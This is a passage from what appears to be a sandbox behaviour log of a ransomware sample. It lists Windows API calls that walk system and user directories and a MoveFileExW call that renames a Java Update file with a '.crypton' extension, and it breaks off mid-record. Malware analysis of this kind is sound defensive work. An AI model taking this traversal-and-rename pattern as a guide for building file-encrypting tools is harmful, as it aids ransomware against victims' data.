Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xede82e80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede82e80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.828] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xede82e80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede82e80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.832] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xede82e80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xede82e80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.837] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedea8fe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedea8fe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.844] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedea8fe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedea8fe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.849] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedea8fe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedea8fe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.854] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedecf140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedecf140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.858] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedecf140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedecf140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.862] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedecf140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedecf140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.868] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedef52a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedef52a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.874] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedef52a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedef52a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.879] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedef52a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedef52a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.884] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedf1b400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf1b400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.890] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedf1b400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf1b400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.897] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedf41560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf41560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.906] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedf41560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf41560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.913] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedf676c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf676c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.920] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedf676c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf676c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.926] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedf676c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf676c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.932] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xedf8d820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf8d820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.939] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xedf8d820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedf8d820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.945] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xedfb3980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedfb3980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.952] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xedfb3980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedfb3980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.959] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedfd9ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedfd9ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.966] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xedfd9ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedfd9ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.972] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedfd9ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedfd9ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.978] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedfffc40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedfffc40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.986] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xedfffc40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedfffc40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.993] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Start Menu\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0xffffffff [0189.000] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Sun\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xee025da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee025da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0189.006] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Sun\\Java\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xee04bf00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee04bf00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0189.012] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Sun\\Java\\Java Update\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xee04bf00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee04bf00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0189.014] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml"), lpNewFileName="C:\\\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml.crypton" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml.crypton"), dwFlags=0x2) returned 1 [0189.021] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Templates\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName="Java", cAlternateFileName="")) returned 0xffffffff [0189.030] FindFirstFileA (in: lpFileName="C:\\\\Recovery\\*", lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xee072060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee072060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549750 [0189.036] FindFirstFileA (in: lpFileName="C:\\\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xee072060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee072060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0189.037] FindFirstFileA (in: lpFileName="C:\\\\System Volume Information\\*", lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 0xffffffff [0189.040] FindFirstFileA (in: lpFileName="C:\\\\Users\\*", lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa6625e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6625e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549750 [0189.045] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xee0981c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee0981c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0189.054] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xee0be320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee0be320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0189.059] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xee0be320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee0be320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0189.066] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee0be320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xee0be320, 